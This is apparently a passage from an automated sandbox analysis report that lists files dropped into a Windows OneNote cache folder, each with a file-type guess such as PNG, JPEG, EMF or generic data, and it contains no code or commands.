Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin (copy)
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000057.bin (copy)
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin (copy)
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000059.bin (copy)
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005A.bin (copy)
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005B.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005C.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005D.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005E.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005F.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005G.bin (copy)
|
PNG image data, 50 x 500, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005H.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005J.bin (copy)
|
OpenPGP Public Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005L.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005M.bin (copy)
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005N.bin (copy)
|
OpenPGP Public Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005O.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005P.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005Q.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005R.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005T.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000005V.bin (copy)
|
big endian ispell hash file (?), 8-bit, no capitalization, 26 flags
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000060.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000061.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000062.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000063.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000064.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000065.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000066.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000067.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000068.bin (copy)
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000069.bin (copy)
|
OpenPGP Public Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006A.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006B.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006C.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006E.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006F.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006G.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin (copy)
|
big endian ispell hash file (?), 8-bit, no capitalization, 26 flags
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006I.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006M.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006O.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006P.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006Q.bin (copy)
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006R.bin (copy)
|
big endian ispell hash file (?), 8-bit, no capitalization, 26 flags
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006T.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000006V.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000071.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000073.bin (copy)
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000074.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000077.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000079.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007B.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:08:07], baseline, precision 8, 595x450, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007D.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin (copy)
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007F.bin (copy)
|
PNG image data, 3005 x 184, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007H.bin (copy)
|
PNG image data, 39 x 600, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007J.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007L.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:44:07], progressive, precision 8, 611x163, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007N.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007P.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin (copy)
|
PNG image data, 39 x 579, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin (copy)
|
PNG image data, 30 x 700, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000080.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000081.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000082.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:06:24], progressive, precision 8, 38x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000084.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000086.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000088.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin (copy)
|
PNG image data, 85 x 470, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008A.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008B.bin (copy)
|
PNG image data, 88 x 574, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008C.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008E.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008G.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008I.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008K.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:05:55], progressive, precision 8, 612x618, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008M.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:08:07], baseline, precision 8, 595x450, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000008O.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\header
|
Matlab v4 mat-file (little endian) H\002, numeric, rows 1051426662, columns 0
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000001.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000002.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000003.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000004.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000005.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000006.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000007.bin
|
PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000008.bin
|
PNG image data, 1692 x 810, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000009.bin
|
GIF image data, version 89a, 1012 x 327
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000A.bin
|
ASCII text, with very long lines (376), with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000B.bin
|
PNG image data, 1692 x 810, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000C.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000D.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000E.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000F.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000G.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000H.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000I.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:19:29], progressive, precision 8, 221x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000J.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000K.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000L.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000M.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000N.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000O.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:18:09], progressive, precision 8, 164x641, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000P.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000Q.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000R.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000T.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000V.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000010.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000011.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000012.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000013.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000014.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000015.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000016.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000017.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000018.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000019.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001A.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001B.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001C.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001D.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001E.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001F.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001G.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001H.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001I.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001J.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001K.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001L.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001M.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001N.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001O.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001P.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001Q.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001R.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001T.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:06:24], progressive, precision 8, 38x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000001V.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000020.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000021.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000022.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000023.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000024.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000025.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000026.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000027.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000028.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000029.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002A.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002B.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002C.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 814x105, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002D.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002E.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 728x77, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002F.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002G.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 69x630, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002H.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002I.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 105x441,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002J.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 76x97, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002K.bin
|
data
|
dropped
|
||
